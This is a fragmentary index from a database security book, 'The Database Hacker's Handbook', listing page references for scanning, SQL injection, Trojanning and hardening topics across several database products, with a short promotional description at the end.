for Intelligent Agent (Oracle), 27
scanning for DB2 servers, 125
scanning for Informix servers, 165
scanning for MySQL servers, 279
scanning for Oracle servers, 39
scanning for SQL Server servers,
334–336
scanning for Sybase servers, 209–210
for SQL Server processes, 334–336
starting listeners (Sybase), 207
for Sybase services, 202
TCP port scanner (Oracle), 83–84
for TNS Listener (Oracle), 20–21,
39, 40
PostgreSQL
ARP spoofing, 406
authentication, 392–396
cash_words() function overflow,
413–415
code execution vulnerabilities,
412–416
commercial versions, 388
Common Vulnerabilities and
Exposures database, 409
component vulnerabilities, 416–418
configuration vulnerabilities, 411–412
COPY command vulnerabilities,
425–427
dangerous functions, 435
deployment scenarios, 389
42_578014 bindex
...
conf file, 392–394, 405, 433
physical database architecture,
387–389
platforms supported, 387–388
protocols, 391–392, 395–396, 404–405
relative security of, 4–5
running on single user system, 434
secure deployment, 387–388, 433–435
as “secure out of the box,” 388
security alerts published for, 4
Sir Mordred advisories, 412
socket creation options, 392
SQL injection, 418–425
stored procedures, 400–401, 423–424
system catalogs, 396–398
TCP Hijacking, 406, 407
template databases, 391
terminology, 389
TZ environmental variable overflow,
412–413
users and groups, 399–400
version numbers, 404–405
principle of least privilege, 92, 324
privilege elevation
...
See PL/SQL in Oracle
procedures
...
See also TNS Listener
(Oracle); specific protocols
DRDA protocol (DB2), 101–105
flaws (DB2), 6, 7
flaws in network protocols,
authenticated, 7
flaws in network protocols,
unauthenticated, 6–7
flaws (MySQL), 8, 260–262, 272
flaws (Oracle), 6
flaws (Sybase), 8
Identification Protocol (PostgreSQL),
395–396
489
42_578014 bindex
...
qxd
6/3/05
7:04 PM
Page 491
Index
LOAD command overflow, 136–137
SET LOCALE LCTYPE overflow, 138
XML* functions, 135–136, 143
running external programs with UDFs
(MySQL)
on Linux, 309–311
on Windows, 311–315
running OS commands (Oracle)
authorization for, 75
with DBMS_SCHEDULER, 78
with Java, 78–79
with PL/SQL, 76–78
running OS commands with SPL
(Informix), 181–185
S
sa_role, granting to users (Sybase), 243
Sarraute, Carlos (hacker), 8
Satellite control database (stctldb) in
DB2, 106
SatEncrypt routine (DB2), 136
scanning for MySQL, 279–280
scanning ports
for DB2 servers, 125
for Informix servers, 165
for MySQL servers, 279
for Oracle servers, 39–49
SQL injection for (SQL Server), 367
for SQL Server servers, 334–336
for Sybase servers, 209–210
TCP port scanner (Oracle), 83–84
sc
...
See also specific alerts
security audits
...
See
UNION SELECT statements
SELECTAUTH authority (DB2), 122
SELECT
...
qxd
492
6/3/05
7:04 PM
Page 492
Index
shells, avoiding on Oracle servers, 9
SHUTDOWN command, SQL
injection using (Sybase), 220
SIDs, learning for Oracle services,
41, 42, 43
single quote (‘)
CHAR function to bypass quote
filters (Sybase), 219–220
SQL injection using (MySQL), 282
SQL injection using (SQL Server),
359–362
SQL injection using (Sybase), 214–215
Sir Mordred advisories (PostgreSQL),
412
Slammer worm (SQL Server), 4, 6, 332,
356
SMON (System Monitor) process
(Oracle), 26
snmp_ro
...
ora file (Oracle), 32
snooping authentication
MySQL, 280–281
Sybase, 211
SOX, 3
sp_addexternlogin procedure (Sybase),
221
sp_addlogin procedure (Sybase), 248
sp_configure procedure (Sybase)
allowing updates to system tables,
243
disabling Java, 251
disabling Proxy Table support, 251
enabling auditing, 251
enabling Proxy Table support, 224
enforcing password complexity,
204, 248–249
setting account lockout, 248
sp_decrypt_7
...
qxd
6/3/05
7:04 PM
Page 493
Index
LOAD DATA INFILE statement for,
287
LOAD_FILE function for, 285–287
major danger areas, 283
“missing features” and, 278
PHP magic_quotes_gpc setting and,
283
PHP script for examples, 284
SELECT
...
See PL/SQL
injection (Oracle)
SQL injection (PostgreSQL), 417–418
built-in functions for, 421–422
comments for, 420–421
in libpq library, 425
multibyte character conversion and,
425
in other applications, 424–425
PHP example, 418–420
in ProFTPD, 424–425
stored procedures for, 423–424
time delays for, 422–423
UNION SELECT statements for,
420–421
SQL injection (SQL Server)
alternative attack vectors, 363–364
ASP script and, 358–361
batched queries for, 368
comments for, 360–362
as common attack vector, 358
defending against attacks, 368–370
port scanning, 367
single quote for, 359–362
stored procedures for, 365–367
system-level attacks, 362–363
temporary tables for, 363
time delays for, 364–365
whitepapers, 362
xp_cmdshell procedure for, 362–363
SQL injection (Sybase)
audit evasion with sp_password, 220
basics, 212–215
batch injection, 215, 218
CHAR function to bypass quote
filters, 219–220
comments for, 216
exec function for, 223–224
extended stored procedures for,
218–219
getting usernames from syslogins
table, 214–215
having/group by clause technique
and, 218
“integer conversion” trick, 216–218
Microsoft “ancestral” code and, 211
MS SQL Server techniques, 215–224
obtaining list of databases on server,
216–217
querying external servers and,
220–221
seriousness of, 212, 215
SHUTDOWN command for, 220
single quote for, 214–215
truncating queries with comments,
216
UNION SELECT statements for, 216
using JSQL, 237–238
using time delays as communications
channel, 221–223
using Transact-SQL query batching,
215, 218
VARBINARY literal for, 224
web application for examples,
212–214
web applications and, 200
xp_cmdshell for privilege elevation,
218–219
SQL Monitor port (SQL Server), 335
SQL Server (Microsoft)
...
qxd
494
6/3/05
7:04 PM
Page 494
Index
SQL Server (Microsoft) (continued)
arbitrary code execution in securable
SQL elements, 10
auditing, 379, 383
authentication and authorization,
336–340
authentication protocol flaws, 8
background, 331–332
basic security measures, 369–370
bypassing access controls, 343–344
changing default port, 335
“Choosing an Edition of SQL Server
2000,” 332
client overflows, 357–358
configuration security, 379–383
confined to Windows platforms, 333
covering attacker tracks, 370–373
denial of service vulnerabilities,
347, 355, 356–357
disabling ad-hoc queries, 340,
381–382
disabling “allow updates” option,
381
disabling remote access, 381
DTS packages, 352–353, 380
exploiting design flaws, 355–358
Extended Stored Proc Removal and
Restore Scripts, 441
finding servers, 334–336, 340
getting server information, 335
guest account, disabling, 379–380
Hello bug, 6, 333
history, 331–332
local privilege elevation issues, 12
locking down privileges, 379–380
logical architecture, 341–347
market share, 331
Microsoft Baseline Security Analyzer,
383
MSDE and, 4, 332, 333
network libraries, 334, 379
network protocols supported, 334
OPENROWSET re-authentication,
273, 339–340, 367
Osql command-line tool, 335
password encryption, 350–354
patches, 333, 383
physical architecture, 333–340
ports, 334–336
privilege elevation via SQL
injection, 12
processes, 334–335
PUBLIC role, 349, 380
querying remote servers, 272–273
relative security of, 4–5
removing unnecessary features and
services, 381–382
roles, 348–349
sample databases, removing, 379
secure installation, 375–379
security alerts published for, 4
security scanners, 336
Slammer worm and, 4, 6, 332, 356
SQL injection, 358–370
SQL injection techniques in Sybase,
215–224
start-up procedure Trojanning, 373
stored procedures, 341–346, 382–383
Sybase and, 196, 211
TDS protocol, 333–334
three-byte patch backdoor, 370–373
triggers, 346–347
UDP Resolution Service, 4
unauthenticated flaws in network
protocols, 6
users and groups, 347–354
versions (editions), 332
Windows Server Controller tool, 336
xstatus backdoor, 373
0x0A leading byte DoS, 357
0x08 leading byte heap overflow,
356–357
SQL Server Agent
decrypting password hashes,
351–352
described, 351
retrieving information, 351
SQL Server Enterprise Manager,
357–358
SQL Server Monitor, 381
SQLDEBUG environment variable
(Informix), 186–187
42_578014 bindex
...
See SPL
in Informix
stored procedures
...
1, 266
security issues, 341
SQL injection risks, 11–12
SQL injection using (PostgreSQL),
423–424
SQL injection using (SQL Server),
360, 365–367
strtok() function (SQL Server), 357
Stunnel application, 434
subqueries, MySQL and, 278
Sybase ASE (Adaptive Server
Enterprise)
...
qxd
496
6/3/05
7:04 PM
Page 496
Index
Sybase ASE (Adaptive Server
Enterprise) (continued)
manuals online, 246
Microsoft “ancestral” code and,
196, 211
older known security bugs, 226–228
open authentication protocols support, 198
OS security, 245–246, 247–248
packet filters, 247
passwords and password complexity, 204, 248–249
patches, 199, 202, 217
ports for services, 202
privilege elevation via SQL injection
and, 12
privilege model, 203–204
querying external servers, 220–221
raw disk partitions support, 198
relative security of, 4–5
restricting filesystem access, 248
restricting Sybase directory access,
248
roles, 205, 243, 248
running in chroot jail, 248
running with low-privileged
account, 247–248
scanning for servers, 209–210
security alerts published for, 4
security checklist, 245–246
security evaluations, 203–204
security information online, 246–247
service interaction, 206–207
starting new listeners, 207
Sybase ASA versus, 195
TDS communication protocol, 203
Transact-SQL interoperability, 196–197
Trojanning, 243–244
update page, 246
user security, 246, 248–249
variable declarations and buffer
overflow, 10
version numbers, 195, 210–211, 217
version-grabbing tool, 228–233
web applications, 200–201
XML support, 197–198
symlink vulnerability (PostgreSQL),
411–412
SYS account (Oracle)
default password, 33, 48
obtaining password for, 69
SYSADM authority (DB2), 120
SYSCAT schema (DB2)
authorities information in, 120
DBAUTH view, 120–121
described, 109
ROUTINEAUTH view, 122
TABAUTH view, 121–122
sysdatabases table (Informix), 160–161
SYSFUN schema (DB2)
described, 109
limiting execute access for routines
and, 136
PUBLIC authority and, 122
SYSIBM schema (DB2)
described, 109
limiting execute access for routines
and, 136
PUBLIC authority and, 122
syslangauth table (Informix), 164, 180
SYS
...
qxd
6/3/05
7:04 PM
Page 497
Index
SYSTEM function (Informix SPL), 181
System Monitor (SMON) process
(Oracle), 26
system privileges (Oracle), 35–36
system tables, granting access to
(Sybase), 243–244
SYS
...
See TDS
protocol
TCP Hijacking (PostgreSQL), 406, 407
TCP port scanner (Oracle), 83–84
TCP ports
...
See also extproc
mechanism (Oracle)
Admin Restrictions, 88
attacking Oracle and, 40–49
buffer overflow vulnerabilities, 43
commands, 20
defined, 20
encrypting network traffic, 89
functions of, 20–21
Listener Control Utility (lsnrctl),
21–22, 40–42
log file poisoning via, 43–44
password error message, 41
password needed for, 9, 21, 43
PL/SQL and external procedures
and, 21
ports, 20–21, 39, 40
remote administration dangers for, 21
reply to invalid TNS packet by, 22–23
security recommendations, 87–89
sending arbitrary packets over, 44–48
services information from, 41
setting password for, 87–88
status information from, 42
TCP valid node checking, 88–89
TNS protocol information online, 20
turning off external procedures, 89
turning off XML Database (XDB), 89
unauthenticated access to functionality and, 9
version information from, 40–41, 42
tnsnames
...
See also JSQL
with Sybase
audit evasion with sp_password, 220
interoperability, 196–197
mixing Java statements with, 237
name collisions with Java, 197
SQL injection using query batching,
215, 218
stored procedures, 206
497
42_578014 bindex
...
See TNS Listener (Oracle)
triggers
PL/SQL injection and (Oracle),
68–71, 94
SQL Server, 346–347
Trojanning MySQL
adding administrative user, 298–300
cracking password hashes, 300–301
methods for achieving, 297
modifying existing user’s privileges,
300
one-bit patch, 302–303
Trojan defined, 297
UDFs, 303
Trojanning SQL Server
extended stored procedures for,
342–343, 344–346
start-up procedure for, 373
Trojanning Sybase, 243–244
TZ environmental variable overflow
(PostgreSQL), 412–413
U
UDFs (User Defined Functions) in
MySQL
adding to MySQL, 274
calling functions, 275
calling Windows ExitProcess
function as, 275
CREATE FUNCTION mechanism
for, 273
defined, 266
locking user’s workstation with, 275
MyLUA, 303
MyPHP, 303
mysql
...
Spybot
...
worm
...
j worm,
259, 309
UDP ports
...
0, 278
for SQL injection (MySQL), 284–285
for SQL injection (Oracle), 54–55
for SQL injection (PostgreSQL),
420–421
for SQL injection (Sybase), 216
Unix-based platforms
...
See UDFs in
MySQL
user table (MySQL)
default users lacking in, 272
described, 266–268
host field, 268
password field, 268
purpose of, 266
restricting access to, 324
42_578014 bindex
...
conf file, 393
usernames (SQL Server), bruteforcing, 339–340
usernames (Sybase), getting from
syslogins table, 214–215
UTL_FILE package (Oracle), 79–80
UTL_HTTP package (Oracle), 84
UTL_SMTP package (Oracle), 85
UTL_TCP package (Oracle), 82–84
V
van der Meulen, Robert (MySQL issue
discoverer), 8
VARBINARY literal (Sybase), 224
Venema, Wietse (“Improving the
Security of Your Site by Breaking
into It”), 16
version() function (PostgreSQL),
421–422
version information
getting from MySQL, 256–257, 280
getting from Oracle, 23–25, 40–41, 42
getting from PostgreSQL, 404–405
getting from Sybase, 210–211, 217,
228–233
usefulness for attacks, 41
@@version variable (Sybase), 217–218
“Violating Database-Enforced Security
Mechanisms” (Anley, Chris), 370
vulnerability databases, 247, 280, 317,
320
VulnWatch mailing list, 320
W
Waissbein, Ariel (hacker), 8
waitfor command, SQL injection using
SQL Server, 364–365
Sybase, 221–223
web application environment, 3
...
See Internet resources
WindDbg debugger, 372
Windows Ident Server identd
daemon, 408
Windows platforms
calling ExitProcess function as UDF
(MySQL), 275
DB2 on, 108–109
499
42_578014 bindex
...
DELETE_ACLS_WITH_
STATEMENT procedure (Oracle),
11
WK_ACL
...
STORE_ACL procedure
(Oracle), 11, 61–62
WK_ADM
...
Spybot
...
worm
...
j worm, 259, 309
X
XDB (XML Database) of Oracle,
turning off, 89
XML, Sybase support for, 197–198
XMLClobFromFile routine (DB2),
135, 136, 143
XMLFileFromClob routine (DB2),
136, 143
XMLFileFromVarchar routine (DB2),
136, 143
XMLVarcharFromFile routine (DB2),
135, 136, 143
XP Server process (Sybase), 206–207
xp_cmdshell procedure (SQL Server),
341, 344, 346, 362–363
xp_cmdshell procedure (Sybase),
218–219, 251
xp_execresultset procedure (SQL
Server), 344
xp_freedll buffer overflow (Sybase),
227–228
xp_instanceregread procedure
(SQL Server), 341
xp_instanceregwrite procedure
(SQL Server), 341
xp_msver procedure Trojan
(SQL Server), 344–345
xp_peakqueue procedure
(SQL Server), 342
xp_readerrorlog procedure
(SQL Server), 342
xp_regread procedure (SQL Server),
341
xp_regread procedure (Sybase), 219
xp_regwrite procedure (SQL Server),
341
xp_repl_help_connect procedure
(SQL Server), 354
xstatus backdoor (SQL Server), 373
Z
0x0A leading byte DoS (SQL Server),
357
0x08 leading byte heap overflow (SQL
Server), 356–357
Title: The Database Hacker's Handbook:Defending Database Servers
Description: If you are interested in the field of information security and penetration, you are now in the right place, a group of e-books that will help you balance the cognitive development of this area.
Description: If you are interested in the field of information security and penetration, you are now in the right place, a group of e-books that will help you balance the cognitive development of this area.